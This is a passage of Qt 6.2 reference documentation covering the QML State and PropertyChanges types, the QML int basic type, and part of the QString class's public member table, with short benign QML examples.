* **[extend](qml-qtquick-state#extend-prop)** : string
* **[name](qml-qtquick-state#name-prop)** : string
* **[when](qml-qtquick-state#when-prop)** : bool

 Detailed Description
--------------------

 A *state* is a set of batched changes from the default configuration.

 All items have a default state that defines the default configuration of objects and property values. New states can be defined by adding State items to the [states](qml-qtquick-item#states-prop) property to allow items to switch between different configurations. These configurations can, for example, be used to apply different sets of property values or execute different scripts.

 The following example displays a single [Rectangle](qml-qtquick-rectangle). In the default state, the rectangle is colored black. In the "clicked" state, a [PropertyChanges](qml-qtquick-propertychanges) object changes the rectangle's color to red. Clicking within the [MouseArea](qml-qtquick-mousearea) toggles the rectangle's state between the default state and the "clicked" state, thus toggling the color of the rectangle between black and red.

 
```
import QtQuick 2.0

Rectangle {
    id: myRect
    width: 100; height: 100
    color: "black"

    MouseArea {
        id: mouseArea
        anchors.fill: parent
        onClicked: myRect.state == 'clicked' ? myRect.state = "" : myRect.state = 'clicked';
    }

    states: [
        State {
            name: "clicked"
            PropertyChanges { target: myRect; color: "red" }
        }
    ]
}
```
 Notice the default state is referred to using an empty string ("").

 States are commonly used together with [Transitions](qtquick-statesanimations-animations) to provide animations when state changes occur.

  **Note:** Setting the state of an object from within another state of the same object is not allowed.

  **See also** [States example](https://doc.qt.io/qt-6.2/qtquick-animation-example.html#states), [Qt Quick States](qtquick-statesanimations-states), [Transitions](qtquick-statesanimations-animations), and [Qt QML](qtqml-index).

 Property Documentation
----------------------

 ###  [default] changes : [list](qml-list)<Change>

 This property holds the changes to apply for this state

 By default these changes are applied against the default state. If the state extends another state, then the changes are applied against the state being extended.

 ###  extend : [string](qml-string)

 This property holds the state that this state extends.

 When a state extends another state, it inherits all the changes of that state.

 The state being extended is treated as the base state in regards to the changes specified by the extending state.

 ###  name : [string](qml-string)

 This property holds the name of the state.

 Each state should have a unique name within its item.

 ###  when : [bool](qml-bool)

 This property holds when the state should be applied.

 This should be set to an expression that evaluates to `true` when you want the state to be applied. For example, the following [Rectangle](qml-qtquick-rectangle) changes in and out of the "hidden" state when the [MouseArea](qml-qtquick-mousearea) is pressed:

 
```
Rectangle {
    id: myRect
    width: 100; height: 100
    color: "red"

    MouseArea { id: mouseArea; anchors.fill: parent }

    states: State {
        name: "hidden"; when: mouseArea.pressed
        PropertyChanges { target: myRect; opacity: 0 }
    }
}
```
 If multiple states in a group have `when` clauses that evaluate to `true` at the same time, the first matching state will be applied. For example, in the following snippet `state1` will always be selected rather than `state2` when sharedCondition becomes `true`.

 
```
Item {
    states: [
        State { name: "state1"; when: sharedCondition },
        State { name: "state2"; when: sharedCondition }
    ]
    // ...
}
```


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-state.html>

PropertyChanges QML Type
========================

 Describes new property bindings or values for a state. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-propertychanges-members.html)

 Properties
----------

 * **[explicit](qml-qtquick-propertychanges#explicit-prop)** : bool
* **[restoreEntryValues](qml-qtquick-propertychanges#restoreEntryValues-prop)** : bool
* **[target](qml-qtquick-propertychanges#target-prop)** : Object

 Detailed Description
--------------------

 PropertyChanges is used to define the property values or bindings in a [State](qml-qtquick-state). This enables an item's property values to be changed when it [changes between states](qtquick-statesanimations-states).

 To create a PropertyChanges object, specify the [target](qml-qtquick-propertychanges#target-prop) item whose properties are to be modified, and define the new property values or bindings. For example:

 
```
import QtQuick 2.0

Item {
    id: container
    width: 300; height: 300

    Rectangle {
        id: rect
        width: 100; height: 100
        color: "red"

        MouseArea {
           id: mouseArea
           anchors.fill: parent
        }

        states: State {
           name: "resized"; when: mouseArea.pressed
           PropertyChanges { target: rect; color: "blue"; height: container.height }
        }
    }
}
```
 When the mouse is pressed, the [Rectangle](qml-qtquick-rectangle) changes to the *resized* state. In this state, the PropertyChanges object sets the rectangle's color to blue and the `height` value to that of `container.height`.

 Note this automatically binds `rect.height` to `container.height` in the *resized* state. If a property binding should not be established, and the height should just be set to the value of `container.height` at the time of the state change, set the [explicit](qml-qtquick-propertychanges#explicit-prop) property to `true`.

 A PropertyChanges object can also override the default signal handler for an object to implement a signal handler specific to the new state:

 
```
PropertyChanges {
    target: myMouseArea
    onClicked: doSomethingDifferent()
}
```
  **Note:** PropertyChanges can be used to change anchor margins, but not other anchor values; use [AnchorChanges](qml-qtquick-anchorchanges) for this instead. Similarly, to change an [Item](qml-qtquick-item)'s [parent](qml-qtquick-item#parent-prop) value, use [ParentChange](qml-qtquick-parentchange) instead.

  ### Resetting Property Values

 The `undefined` value can be used to reset the property value for a state. In the following example, when `myText` changes to the *widerText* state, its `width` property is reset, giving the text its natural width and displaying the whole string on a single line.

 
```
Rectangle {
    width: 300; height: 200

    Text {
        id: myText
        width: 50
        wrapMode: Text.WordWrap
        text: "a text string that is longer than 50 pixels"

        states: State {
            name: "widerText"
            PropertyChanges { target: myText; width: undefined }
        }
    }

    MouseArea {
        anchors.fill: parent
        onClicked: myText.state = "widerText"
    }
}
```
 ### Immediate Property Changes in Transitions

 When [Transitions](qtquick-statesanimations-animations) are used to animate state changes, they animate properties from their values in the current state to those defined in the new state (as defined by PropertyChanges objects). However, it is sometimes desirable to set a property value *immediately* during a [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition), without animation; in these cases, the [PropertyAction](qml-qtquick-propertyaction) type can be used to force an immediate property change.

 See the [PropertyAction](qml-qtquick-propertyaction) documentation for more details.

  **Note:** The [visible](qml-qtquick-item#visible-prop) and [enabled](qml-qtquick-item#enabled-prop) properties of [Item](qml-qtquick-item) do not behave exactly the same as other properties in PropertyChanges. Since these properties can be changed implicitly through their parent's state, they should be set explicitly in all PropertyChanges. An item will still not be enabled/visible if one of its parents is not enabled or visible.

  **See also** [States example](https://doc.qt.io/qt-6.2/qtquick-animation-example.html#states), [Qt Quick States](qtquick-statesanimations-states), and [Qt QML](qtqml-index).

 Property Documentation
----------------------

 ###  explicit : [bool](qml-bool)

 If explicit is set to true, any potential bindings will be interpreted as once-off assignments that occur when the state is entered.

 In the following example, the addition of explicit prevents `myItem.width` from being bound to `parent.width`. Instead, it is assigned the value of `parent.width` at the time of the state change.

 
```
PropertyChanges {
    target: myItem
    explicit: true
    width: parent.width
}
```
 By default, explicit is false.

 ###  restoreEntryValues : [bool](qml-bool)

 This property holds whether the previous values should be restored when leaving the state.

 The default value is `true`. Setting this value to `false` creates a temporary state that has permanent effects on property values.

 ###  target : Object

 This property holds the object which contains the properties to be changed.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-propertychanges.html>

int QML Basic Type
==================

 The `int` type refers to a whole number, e.g. 0, 10, or -20.

 The possible `int` values range from -2147483648 to 2147483647, although most types will only accept a reduced range (which they mention in their documentation).

 Example:

 
```
NumberAnimation { loops: 5 }
```
 This basic type is provided by the QML language.

 **See also** [QML Basic Types](qtqml-typesystem-basictypes).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-int.html>

QString Class
=============

 The QString class provides a Unicode character string. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QString> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qstring-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qstring-obsolete.html)

 **Note:** All functions in this class are [reentrant](17-qdoc-commands-thread#reentrant).

 Public Types
------------

 

|  |  |
| --- | --- |
|  | **[ConstIterator](qstring#ConstIterator-typedef)** |
|  | **[Iterator](qstring#Iterator-typedef)** |
|  enum  | **[NormalizationForm](qstring#NormalizationForm-enum)** { NormalizationForm\_D, NormalizationForm\_C, NormalizationForm\_KD, NormalizationForm\_KC } |
|  enum  | **[SectionFlag](qstring#SectionFlag-enum)** { SectionDefault, SectionSkipEmpty, SectionIncludeLeadingSep, SectionIncludeTrailingSep, SectionCaseInsensitiveSeps } |
|  flags  | **[SectionFlags](qstring#SectionFlag-enum)** |
|  | **[const\_iterator](qstring#const_iterator-typedef)** |
|  | **[const\_pointer](qstring#const_pointer-typedef)** |
|  | **[const\_reference](qstring#const_reference-typedef)** |
|  | **[const\_reverse\_iterator](qstring#const_reverse_iterator-typedef)** |
|  | **[difference\_type](qstring#difference_type-typedef)** |
|  | **[iterator](qstring#iterator-typedefx)** |
|  | **[pointer](qstring#pointer-typedef)** |
|  | **[reference](qstring#reference-typedef)** |
|  | **[reverse\_iterator](qstring#reverse_iterator-typedef)** |
|  | **[size\_type](qstring#size_type-typedef)** |
|  | **[value\_type](qstring#value_type-typedef)** |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QString](qstring#QString-9)**(const QByteArray &*ba*) |
|  | **[QString](qstring#QString-8)**(const char \**str*) |
|  | **[QString](qstring#QString-7)**(QString &&*other*) |
|  | **[QString](qstring#QString-6)**(const QString &*other*) |
|  | **[QString](qstring#QString-5)**(const char8\_t \**str*) |
|  | **[QString](qstring#QString-4)**(QLatin1String *str*) |
|  | **[QString](qstring#QString-3)**(qsizetype *size*, QChar *ch*) |
|  | **[QString](qstring#QString-2)**(QChar *ch*) |
|  | **[QString](qstring#QString-1)**(const QChar \**unicode*, qsizetype *size* = -1) |
|  | **[QString](qstring#QString)**() |
|  QString & | **[operator=](qstring#operator-eq-5)**(const QByteArray &*ba*) |
|  QString & | **[operator=](qstring#operator-eq-3)**(QString &&*other*) |
|  QString & | **[operator=](qstring#operator-eq)**(const QString &*other*) |
|  | **[~QString](qstring#dtor.QString)**() |
|  QString & | **[append](qstring#append)**(const QString &*str*) |
|  QString & | **[append](qstring#append-1)**(QChar *ch*) |
|  QString & | **[append](qstring#append-2)**(const QChar \**str*, qsizetype *len*) |
|  QString & | **[append](qstring#append-4)**(QLatin1String *str*) |
|  QString & | **[append](qstring#append-5)**(const char \**str*) |
|  QString & | **[append](qstring#append-6)**(const QByteArray &*ba*) |
|  QString  | **[arg](qstring#arg)**(const QString &*a*, int *fieldWidth* = 0, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-1)**(qlonglong *a*, int *fieldWidth* = 0, int *base* = 10, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-2)**(qulonglong *a*, int *fieldWidth* = 0, int *base* = 10, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-3)**(long *a*, int *fieldWidth* = 0, int *base* = 10, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-4)**(ulong *a*, int *fieldWidth* = 0, int *base* = 10, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-5)**(int *a*, int *fieldWidth* = 0, int *base* = 10, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-6)**(uint *a*, int *fieldWidth* = 0, int *base* = 10, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-7)**(short *a*, int *fieldWidth* = 0, int *base* = 10, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-8)**(ushort *a*, int *fieldWidth* = 0, int *base* = 10, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-9)**(double *a*, int *fieldWidth* = 0, char *format* = 'g', int *precision* = -1, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-10)**(char *a*, int *fieldWidth* = 0, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-11)**(QChar *a*, int *fieldWidth* = 0, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-12)**(QStringView *a*, int *fieldWidth* = 0, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-13)**(QLatin1String *a*, int *fieldWidth* = 0, QChar *fillChar* = QLatin1Char(' ')) const |
|  QString  | **[arg](qstring#arg-14)**(Args &&... *args*) const |
|  const QChar  | **[at](qstring#at)**(qsizetype *position*) const |
|  QChar  | **[back](qstring#back)**() const |
|  QChar & | **[back](qstring#back-1)**() |
|  QString::iterator  | **[begin](qstring#begin)**() |
|  QString::const\_iterator  | **[begin](qstring#begin-1)**() const |
|  qsizetype  | **[capacity](qstring#capacity)**() const |
|  QString::const\_iterator  | **[cbegin](qstring#cbegin)**() const |
|  QString::const\_iterator  | **[cend](qstring#cend)**() const |
|  void  | **[chop](qstring#chop)**(qsizetype *n*) |
|  QString  | **[chopped](qstring#chopped)**(qsizetype *len*) const |
|  void  | **[clear](qstring#clear)**() |
|  int  | **[compare](qstring#compare-1)**(const QString &*other*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  int  | **[compare](qstring#compare-2)**(QLatin1String *other*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  int  | **[compare](qstring#compare-3)**(QStringView *s*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  int  | **[compare](qstring#compare-4)**(QChar *ch*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  QString::const\_iterator  | **[constBegin](qstring#constBegin)**() const |
|  const QChar \* | **[constData](qstring#constData)**() const |
|  QString::const\_iterator  | **[constEnd](qstring#constEnd)**() const |
|  bool  | **[contains](qstring#contains)**(const QString &*str*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  bool  | **[contains](qstring#contains-1)**(QChar *ch*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  bool  | **[contains](qstring#contains-2)**(QLatin1String *str*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  bool  | **[contains](qstring#contains-3)**(QStringView *str*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  bool  | **[contains](qstring#contains-4)**(const QRegularExpression &*re*, QRegularExpressionMatch \**rmatch* = nullptr) const |
|  qsizetype  | **[count](qstring#count)**(const QString &*str*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[count](qstring#count-1)**() const |
|  qsizetype  | **[count](qstring#count-2)**(QChar *ch*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[count](qstring#count-3)**(QStringView *str*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[count](qstring#count-4)**(const QRegularExpression &*re*) const |
|  QString::const\_reverse\_iterator  | **[crbegin](qstring#crbegin)**() const |
|  QString::const\_reverse\_iterator  | **[crend](qstring#crend)**() const |
|  QChar \* | **[data](qstring#data)**() |
|  const QChar \* | **[data](qstring#data-1)**() const |
|  QString::iterator  | **[end](qstring#end)**() |
|  QString::const\_iterator  | **[end](qstring#end-1)**() const |
|  bool  | **[endsWith](qstring#endsWith)**(const QString &*s*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  bool  | **[endsWith](qstring#endsWith-1)**(QStringView *str*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  bool  | **[endsWith](qstring#endsWith-2)**(QLatin1String *s*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  bool  | **[endsWith](qstring#endsWith-3)**(QChar *c*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  QString::iterator  | **[erase](qstring#erase)**(QString::const\_iterator *first*, QString::const\_iterator *last*) |
|  QString & | **[fill](qstring#fill)**(QChar *ch*, qsizetype *size* = -1) |
|  QString  | **[first](qstring#first)**(qsizetype *n*) const |
|  QChar  | **[front](qstring#front)**() const |
|  QChar & | **[front](qstring#front-1)**() |
|  qsizetype  | **[indexOf](qstring#indexOf)**(QLatin1String *str*, qsizetype *from* = 0, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[indexOf](qstring#indexOf-1)**(QChar *ch*, qsizetype *from* = 0, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[indexOf](qstring#indexOf-2)**(const QString &*str*, qsizetype *from* = 0, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[indexOf](qstring#indexOf-3)**(QStringView *str*, qsizetype *from* = 0, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[indexOf](qstring#indexOf-4)**(const QRegularExpression &*re*, qsizetype *from* = 0, QRegularExpressionMatch \**rmatch* = nullptr) const |
|  QString & | **[insert](qstring#insert)**(qsizetype *position*, const QString &*str*) |
|  QString & | **[insert](qstring#insert-1)**(qsizetype *position*, QChar *ch*) |
|  QString & | **[insert](qstring#insert-2)**(qsizetype *position*, const QChar \**unicode*, qsizetype *size*) |
|  QString & | **[insert](qstring#insert-3)**(qsizetype *position*, QStringView *str*) |
|  QString & | **[insert](qstring#insert-4)**(qsizetype *position*, QLatin1String *str*) |
|  QString & | **[insert](qstring#insert-5)**(qsizetype *position*, const char \**str*) |
|  QString & | **[insert](qstring#insert-6)**(qsizetype *position*, const QByteArray &*str*) |
|  bool  | **[isEmpty](qstring#isEmpty)**() const |
|  bool  | **[isLower](qstring#isLower)**() const |
|  bool  | **[isNull](qstring#isNull)**() const |
|  bool  | **[isRightToLeft](qstring#isRightToLeft)**() const |
|  bool  | **[isUpper](qstring#isUpper)**() const |
|  bool  | **[isValidUtf16](qstring#isValidUtf16)**() const |
|  QString  | **[last](qstring#last)**(qsizetype *n*) const |
|  qsizetype  | **[lastIndexOf](qstring#lastIndexOf)**(const QString &*str*, qsizetype *from*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[lastIndexOf](qstring#lastIndexOf-1)**(QChar *ch*, qsizetype *from* = -1, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[lastIndexOf](qstring#lastIndexOf-2)**(QLatin1String *str*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[lastIndexOf](qstring#lastIndexOf-3)**(QLatin1String *str*, qsizetype *from*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[lastIndexOf](qstring#lastIndexOf-4)**(const QString &*str*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[lastIndexOf](qstring#lastIndexOf-5)**(QStringView *str*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[lastIndexOf](qstring#lastIndexOf-6)**(QStringView *str*, qsizetype *from*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  qsizetype  | **[lastIndexOf](qstring#lastIndexOf-7)**(const QRegularExpression &*re*, QRegularExpressionMatch \**rmatch* = nullptr) const |
|  qsizetype  | **[lastIndexOf](qstring#lastIndexOf-8)**(const QRegularExpression &*re*, qsizetype *from*, QRegularExpressionMatch \**rmatch* = nullptr) const |
|  QString  | **[left](qstring#left)**(qsizetype *n*) const |
|  QString  | **[leftJustified](qstring#leftJustified)**(qsizetype *width*, QChar *fill* = QLatin1Char(' '), bool *truncate* = false) const |
|  qsizetype  | **[length](qstring#length)**() const |
|  int  | **[localeAwareCompare](qstring#localeAwareCompare-1)**(const QString &*other*) const |
|  int  | **[localeAwareCompare](qstring#localeAwareCompare-2)**(QStringView *other*) const |
|  QString  | **[mid](qstring#mid)**(qsizetype *position*, qsizetype *n* = -1) const |
|  QString  | **[normalized](qstring#normalized)**(QString::NormalizationForm *mode*, QChar::UnicodeVersion *version* = QChar::Unicode\_Unassigned) const |
|  QString & | **[prepend](qstring#prepend)**(const QString &*str*) |
|  QString & | **[prepend](qstring#prepend-1)**(QChar *ch*) |
|  QString & | **[prepend](qstring#prepend-2)**(const QChar \**str*, qsizetype *len*) |
|  QString & | **[prepend](qstring#prepend-3)**(QStringView *str*) |
|  QString & | **[prepend](qstring#prepend-4)**(QLatin1String *str*) |
|  QString & | **[prepend](qstring#prepend-5)**(const char \**str*) |
|  QString & | **[prepend](qstring#prepend-6)**(const QByteArray &*ba*) |
|  void  | **[push\_back](qstring#push_back)**(const QString &*other*) |
|  void  | **[push\_back](qstring#push_back-1)**(QChar *ch*) |
|  void  | **[push\_front](qstring#push_front)**(const QString &*other*) |
|  void  | **[push\_front](qstring#push_front-1)**(QChar *ch*) |
|  QString::reverse\_iterator  | **[rbegin](qstring#rbegin)**() |
|  QString::const\_reverse\_iterator  | **[rbegin](qstring#rbegin-1)**() const |
|  QString & | **[remove](qstring#remove)**(qsizetype *position*, qsizetype *n*) |
|  QString & | **[remove](qstring#remove-1)**(QChar *ch*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  QString & | **[remove](qstring#remove-2)**(QLatin1String *str*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  QString & | **[remove](qstring#remove-3)**(const QString &*str*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  QString & | **[remove](qstring#remove-4)**(const QRegularExpression &*re*) |
|  QString & | **[removeIf](qstring#removeIf)**(Predicate *pred*) |
|  QString::reverse\_iterator  | **[rend](qstring#rend)**() |
|  QString::const\_reverse\_iterator  | **[rend](qstring#rend-1)**() const |
|  QString  | **[repeated](qstring#repeated)**(qsizetype *times*) const |
|  QString & | **[replace](qstring#replace)**(qsizetype *position*, qsizetype *n*, const QString &*after*) |
|  QString & | **[replace](qstring#replace-1)**(qsizetype *position*, qsizetype *n*, QChar *after*) |
|  QString & | **[replace](qstring#replace-2)**(qsizetype *position*, qsizetype *n*, const QChar \**unicode*, qsizetype *size*) |
|  QString & | **[replace](qstring#replace-3)**(QChar *before*, QChar *after*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  QString & | **[replace](qstring#replace-4)**(const QChar \**before*, qsizetype *blen*, const QChar \**after*, qsizetype *alen*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  QString & | **[replace](qstring#replace-5)**(QLatin1String *before*, QLatin1String *after*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  QString & | **[replace](qstring#replace-6)**(QLatin1String *before*, const QString &*after*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  QString & | **[replace](qstring#replace-7)**(const QString &*before*, QLatin1String *after*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  QString & | **[replace](qstring#replace-8)**(const QString &*before*, const QString &*after*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  QString & | **[replace](qstring#replace-9)**(QChar *ch*, const QString &*after*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  QString & | **[replace](qstring#replace-10)**(QChar *c*, QLatin1String *after*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  QString & | **[replace](qstring#replace-11)**(const QRegularExpression &*re*, const QString &*after*) |
|  void  | **[reserve](qstring#reserve)**(qsizetype *size*) |
|  void  | **[resize](qstring#resize)**(qsizetype *size*) |
|  void  | **[resize](qstring#resize-1)**(qsizetype *size*, QChar *fillChar*) |
|  QString  | **[right](qstring#right)**(qsizetype *n*) const |
|  QString  | **[rightJustified](qstring#rightJustified)**(qsizetype *width*, QChar *fill* = QLatin1Char(' '), bool *truncate* = false) const |
|  QString  | **[section](qstring#section)**(QChar *sep*, qsizetype *start*, qsizetype *end* = -1, QString::SectionFlags *flags* = SectionDefault) const |
|  QString  | **[section](qstring#section-1)**(const QString &*sep*, qsizetype *start*, qsizetype *end* = -1, QString::SectionFlags *flags* = SectionDefault) const |
|  QString  | **[section](qstring#section-2)**(const QRegularExpression &*re*, qsizetype *start*, qsizetype *end* = -1, QString::SectionFlags *flags* = SectionDefault) const |
|  QString & | **[setNum](qstring#setNum)**(int *n*, int *base* = 10) |
|  QString & | **[setNum](qstring#setNum-1)**(short *n*, int *base* = 10) |
|  QString & | **[setNum](qstring#setNum-2)**(ushort *n*, int *base* = 10) |
|  QString & | **[setNum](qstring#setNum-3)**(uint *n*, int *base* = 10) |
|  QString & | **[setNum](qstring#setNum-4)**(long *n*, int *base* = 10) |
|  QString & | **[setNum](qstring#setNum-5)**(ulong *n*, int *base* = 10) |
|  QString & | **[setNum](qstring#setNum-6)**(qlonglong *n*, int *base* = 10) |
|  QString & | **[setNum](qstring#setNum-7)**(qulonglong *n*, int *base* = 10) |
|  QString & | **[setNum](qstring#setNum-8)**(float *n*, char *format* = 'g', int *precision* = 6) |
|  QString & | **[setNum](qstring#setNum-9)**(double *n*, char *format* = 'g', int *precision* = 6) |
|  QString & | **[setRawData](qstring#setRawData)**(const QChar \**unicode*, qsizetype *size*) |
|  QString & | **[setUnicode](qstring#setUnicode)**(const QChar \**unicode*, qsizetype *size*) |
|  QString & | **[setUtf16](qstring#setUtf16)**(const ushort \**unicode*, qsizetype *size*) |
|  void  | **[shrink\_to\_fit](qstring#shrink_to_fit)**() |
|  QString  | **[simplified](qstring#simplified)**() const |
|  qsizetype  | **[size](qstring#size)**() const |
|  QString  | **[sliced](qstring#sliced)**(qsizetype *pos*, qsizetype *n*) const |
|  QString  | **[sliced](qstring#sliced-1)**(qsizetype *pos*) const |
|  QStringList  | **[split](qstring#split)**(const QString &*sep*, Qt::SplitBehavior *behavior* = Qt::KeepEmptyParts, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  QStringList  | **[split](qstring#split-1)**(QChar *sep*, Qt::SplitBehavior *behavior* = Qt::KeepEmptyParts, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  QStringList  | **[split](qstring#split-2)**(const QRegularExpression &*re*, Qt::SplitBehavior *behavior* = Qt::KeepEmptyParts) const |
|  void  | **[squeeze](qstring#squeeze)**() |
|  bool  | **[startsWith](qstring#startsWith)**(const QString &*s*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  bool  | **[startsWith](qstring#startsWith-1)**(QStringView *str*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  bool  | **[startsWith](qstring#startsWith-2)**(QLatin1String *s*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  bool  | **[startsWith](qstring#startsWith-3)**(QChar *c*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  void  | **[swap](qstring#swap)**(QString &*other*) |
|  CFStringRef  | **[toCFString](qstring#toCFString)**() const |
|  QString  | **[toCaseFolded](qstring#toCaseFolded)**() const |
|  double  | **[toDouble](qstring#toDouble)**(bool \**ok* = nullptr) const |
|  float  | **[toFloat](qstring#toFloat)**(bool \**ok* = nullptr) const |
|  QString  | **[toHtmlEscaped](qstring#toHtmlEscaped)**() const |
|  int  | **[toInt](qstring#toInt)**(bool \**ok* = nullptr, int *base* = 10) const |
|  QByteArray  | **[toLatin1](qstring#toLatin1)**() const |
|  QByteArray  | **[toLocal8Bit](qstring#toLocal8Bit)**() const |
|  long  | **[toLong](qstring#toLong)**(bool \**ok* = nullptr, int *base* = 10) const |
|  qlonglong  | **[toLongLong](qstring#toLongLong)**(bool \**ok* = nullptr, int *base* = 10) const |
|  QString  | **[toLower](qstring#toLower)**() const |
|  NSString \* | **[toNSString](qstring#toNSString)**() const |
|  short  | **[toShort](qstring#toShort)**(bool \**ok* = nullptr, int *base* = 10) const |
|  std::string  | **[toStdString](qstring#toStdString)**() const |
|  std::u16string  | **[toStdU16String](qstring#toStdU16String)**() const |
|  std::u32string  | **[toStdU32String](qstring#toStdU32String)**() const |
|  std::wstring  | **[toStdWString](qstring#toStdWString)**() const |
|  uint  | **[toUInt](qstring#toUInt)**(bool \**ok* = nullptr, int *base* = 10) const |
|  ulong  | **[toULong](qstring#toULong)**(bool \**ok* = nullptr, int *base* = 10) const |
|  qulonglong  | **[toULongLong](qstring#toULongLong)**(bool \**ok* = nullptr, int *base* = 10) const |
|  ushort  | **[toUShort](qstring#toUShort)**(bool \**ok* = nullptr, int *base* = 10) const |
|  QList<uint>  | **[toUcs4](qstring#toUcs4)**() const |
|  QString  | **[toUpper](qstring#toUpper)**() const |
|  QByteArray  | **[toUtf8](qstring#toUtf8)**() const |
|  qsizetype  | **[toWCharArray](qstring#toWCharArray)**(wchar\_t \**array*) const |
|  decltype(qTokenize(\*this, std::forward<Needle>(needle), flags...))  | **[tokenize](qstring#tokenize)**(Needle &&*sep*, Flags... *flags*) const & |
|  decltype(qTokenize(std::move(\*this), std::forward<Needle>(needle), flags...))  | **[tokenize](qstring#tokenize-1)**(Needle &&*sep*, Flags... *flags*) && |
|  QString  | **[trimmed](qstring#trimmed)**() const |
|  void  | **[truncate](qstring#truncate)**(qsizetype *position*) |
|  const QChar \* | **[unicode](qstring#unicode)**() const |
|  const ushort \* | **[utf16](qstring#utf16)**() const |
|  bool  | **[operator!=](qstring#operator-not-eq-9)**(const char \**other*) const |
|  bool  | **[operator!=](qstring#operator-not-eq-10)**(const QByteArray &*other*) const |
|  QString & | **[operator+=](qstring#operator-2b-eq)**(const QString &*other*) |
|  QString & | **[operator+=](qstring#operator-2b-eq-1)**(QChar *ch*) |
|  QString & | **[operator+=](qstring#operator-2b-eq-2)**(QStringView *str*) |
|  QString & | **[operator+=](qstring#operator-2b-eq-3)**(QLatin1String *str*) |
|  QString & | **[operator+=](qstring#operator-2b-eq-4)**(const char \**str*) |
|  QString & | **[operator+=](qstring#operator-2b-eq-5)**(const QByteArray &*ba*) |
|  bool  | **[operator<](qstring#operator-lt-9)**(const char \**other*) const |
|  bool  | **[operator<](qstring#operator-lt-10)**(const QByteArray &*other*) const |
